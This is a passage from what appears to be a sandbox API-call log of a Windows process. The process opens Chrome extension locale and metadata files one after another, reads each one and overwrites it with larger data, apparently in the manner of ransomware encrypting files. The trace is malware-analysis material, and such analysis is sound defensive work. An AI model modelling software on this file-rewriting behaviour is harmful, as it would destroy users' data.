(hObject=0x198) returned 1 [0049.387] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.387] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.388] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xf6 [0049.388] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.388] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.388] ReleaseMutex (hMutex=0x128) returned 1 [0049.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.388] ReadFile (in: hFile=0x198, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0xf6, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x318f2bc*=0xf6, lpOverlapped=0x0) returned 1 [0049.389] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.389] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x67e, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x67e, lpOverlapped=0x0) returned 1 [0049.389] CloseHandle (hObject=0x198) returned 1 [0049.389] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.390] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.390] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xce [0049.390] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.390] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.390] ReleaseMutex (hMutex=0x128) returned 1 [0049.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.390] ReadFile (in: hFile=0x198, lpBuffer=0x2561348, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2561348*, lpNumberOfBytesRead=0x318f2bc*=0xce, lpOverlapped=0x0) returned 1 [0049.391] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.391] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x656, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x656, lpOverlapped=0x0) returned 1 [0049.392] CloseHandle (hObject=0x198) returned 1 [0049.392] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.392] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.392] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xdd [0049.392] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.393] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.393] ReleaseMutex (hMutex=0x128) returned 1 [0049.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.393] ReadFile (in: hFile=0x198, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x318f2bc*=0xdd, lpOverlapped=0x0) returned 1 [0049.393] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.394] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x665, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x665, lpOverlapped=0x0) returned 1 [0049.395] CloseHandle (hObject=0x198) returned 1 [0049.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.397] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.397] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xd5 [0049.399] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.399] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.399] ReleaseMutex (hMutex=0x128) returned 1 [0049.399] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.399] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.399] ReadFile (in: hFile=0x198, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xd5, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x318f2bc*=0xd5, lpOverlapped=0x0) returned 1 [0049.400] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.400] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65d, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x65d, lpOverlapped=0x0) returned 1 [0049.400] CloseHandle (hObject=0x198) returned 1 [0049.400] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.401] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.401] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xce [0049.401] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.401] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.401] ReleaseMutex (hMutex=0x128) returned 1 [0049.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.401] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.401] ReadFile (in: hFile=0x198, lpBuffer=0x2561348, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2561348*, lpNumberOfBytesRead=0x318f2bc*=0xce, lpOverlapped=0x0) returned 1 [0049.402] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.402] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x656, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x656, lpOverlapped=0x0) returned 1 [0049.403] CloseHandle (hObject=0x198) returned 1 [0049.403] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.403] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.403] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xf3 [0049.403] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.403] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.403] ReleaseMutex (hMutex=0x128) returned 1 [0049.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.403] ReadFile (in: hFile=0x198, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xf3, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x318f2bc*=0xf3, lpOverlapped=0x0) returned 1 [0049.404] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.404] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x67b, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x67b, lpOverlapped=0x0) returned 1 [0049.404] CloseHandle (hObject=0x198) returned 1 [0049.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.405] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.405] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x104 [0049.405] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.405] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.405] ReleaseMutex (hMutex=0x128) returned 1 [0049.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.405] ReadFile (in: hFile=0x198, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x318f2bc*=0x104, lpOverlapped=0x0) returned 1 [0049.407] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.407] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x68c, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x68c, lpOverlapped=0x0) returned 1 [0049.408] CloseHandle (hObject=0x198) returned 1 [0049.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.408] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.408] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x11d [0049.408] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.408] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.408] ReleaseMutex (hMutex=0x128) returned 1 [0049.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.409] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.409] ReadFile (in: hFile=0x198, lpBuffer=0x2644ab8, nNumberOfBytesToRead=0x11d, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2644ab8*, lpNumberOfBytesRead=0x318f2bc*=0x11d, lpOverlapped=0x0) returned 1 [0049.410] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.410] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6a5, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x6a5, lpOverlapped=0x0) returned 1 [0049.410] CloseHandle (hObject=0x198) returned 1 [0049.410] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.410] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.410] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x112 [0049.410] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.411] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.411] ReleaseMutex (hMutex=0x128) returned 1 [0049.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.411] ReadFile (in: hFile=0x198, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x318f2bc*=0x112, lpOverlapped=0x0) returned 1 [0049.411] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.412] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x69a, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x69a, lpOverlapped=0x0) returned 1 [0049.412] CloseHandle (hObject=0x198) returned 1 [0049.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.412] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.412] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2bd5 [0049.412] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.412] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.413] ReleaseMutex (hMutex=0x128) returned 1 [0049.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0049.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x1e78974, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="verified_contents.json", lpUsedDefaultChar=0x0) returned 22 [0049.413] ReadFile (in: hFile=0x198, lpBuffer=0x276b358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.420] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1bd5 [0049.420] ReadFile (in: hFile=0x198, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.978] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1bd5 [0049.978] WriteFile (in: hFile=0x198, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.979] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: 